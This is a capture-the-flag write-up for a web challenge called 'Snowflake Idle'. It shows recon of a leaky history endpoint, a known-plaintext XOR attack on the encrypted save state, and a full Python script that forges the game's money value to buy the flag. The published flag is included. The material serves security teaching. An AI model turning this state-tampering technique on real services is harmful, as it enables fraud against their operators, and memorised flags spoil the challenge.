day 17 - Snowflake Idle [general]

day17 - Snowflake Idle

It's not just leprechauns that hide their gold at the end of the rainbow, elves hide their candy there too.

Recon

A website where we can login using any name.

https://i.imgur.com/9GivjgG.png

After login, we are presented an "idle" game, where you can manually collect snowflakes by pressing "Collect 1 Snowflakes".

An API to show history can be found over at /history/client, which returns the history of your game.

[
    [
        1577366962905,
        {
            "action": "state"
        }
    ],
    [
        1577367048455,
        {
            "action": "collect",
            "amount": 1
        }
    ],
    [
        1577367049761,
        {
            "action": "state"
        }
    ]
]

The route itself seems to be dynamic; /history/foo turns up as 200 OK with an empty JSON object.

Control route

After trying various things, we eventually noticed that on the initial login page, we sent a request to /control.

Fetching the history of control over at /history/control yields some more information about the game in progress, and most importantly something that seems like the game "state".

[
    [
        1577366861032,
        {
            "action": "load"
        }
    ],
    [
        1577366861033,
        {
            "action": "save",
            "data": "BKhLYP6Rw2gzeVWLbsJ5SzA60aAbqBwvodiaaGc4CMB81HlLEDrbsRPvVXyyiQ=="
        }
    ],
]

Get state

A small script to fetch the current game state:

import json
import requests

URL = "http://3.93.128.89:1217"
headers = {"User-Agent": "Spotless!!11"}
ses = requests.session()

# Register new user
name = "A"*64
resp = ses.post(URL + '/control', headers=headers, json={
    "action": "new",
    "name": name
})
resp.raise_for_status()

# Set cookie
cookie = resp.json().get('id')
ses.cookies['id'] = cookie

# Fetching state saves the state over at `/history/control`
resp = ses.post("http://3.93.128.89:1217/client", headers=headers, json={
    "action": "state"
})
resp.raise_for_status()

# fetch state base64
resp = ses.get("http://3.93.128.89:1217/history/control", headers=headers)
resp.raise_for_status()

# display, filter out `load`
data = resp.json()
data = list(filter(lambda k: k[1]['action'] != 'load', data))
print(json.dumps(data, indent=4, sort_keys=True))

Game state

The game state seems to be a base64 of XOR'd data. To find the XOR key, and eventually the plaintext, we can:

  1. Create an username with 1000 "A"'s
  2. Fetch the "state", XOR with our knwon "AAAA"... etc
  3. This leaves a key
  4. XOR the real data with this key to get the plaintext
  5. Modify the game state in such a way that it gives us a lot of snowflakes - enough to buy a flag.

Solution

import base64
import json
import requests


class Snowflake:
    URI = "http://3.93.128.89:1217"

    def __init__(self, name):
        self.s = requests.session()
        self.COOKIES = self.new_session(name)

    def new_session(self, name):
        r = self.s.post(self.URI + "/control", json={'action': "new", "name": name})
        return {"id": r.json()['id']}

    def collect_flake(self, amount):
        r = self.s.post(self.URI + "/client", json={'action': "collect", 'amount': amount}, cookies=self.COOKIES)
        return r.json()

    def melt_flake(self):
        r = self.s.post(self.URI + "/client", json={'action': "melt"}, cookies=self.COOKIES)
        return r.json()

    def buy_flag(self):
        r = self.s.post(self.URI + "/client", json={'action': "buy_flag"}, cookies=self.COOKIES)
        return r.json()

    def upgrade(self):
        r = self.s.post(self.URI + "/client", json={'action': "upgrade"}, cookies=self.COOKIES)
        return r.json()

    def get_state(self):
        r = self.s.post(self.URI + "/client", json={'action': "state"}, cookies=self.COOKIES)
        return r.json()

    def history(self):
        r = self.s.get(self.URI + '/history/client', cookies=self.COOKIES)
        return r.json()

    def load(self):
        r = self.s.post(self.URI + "/control", json={'action': 'load'}, cookies=self.COOKIES)
        return r.text

    def save(self, data):
        r = self.s.post(self.URI + "/control", json={'action': 'save', 'data': data}, cookies=self.COOKIES)
        return r.text


def xor(value, key):
    res = ''
    for i in range(len(value)):
        res += chr(ord(value[i]) ^ ord(key[i % len(key)]))
    return res


f = Snowflake('A'*1000)

# Load current game state
data = base64.b64decode(f.load())

# Use the XOR pad to decrypt the payload
xorpad = xor(data, 'A')[0x64:0x64+40]
decrypted = xor(data, xorpad)

# Load the json object and increase our money
payload = json.loads(decrypted)
payload['money'] = 1e64

# Encrypt the payload and store it
encrypted = xor(json.dumps(payload), xorpad)
f.save(base64.b64encode(encrypted))

# Buy the flag and print it
f.buy_flag()
print(f.get_state())

Flag

AOTW{leaKinG_3ndp0int5}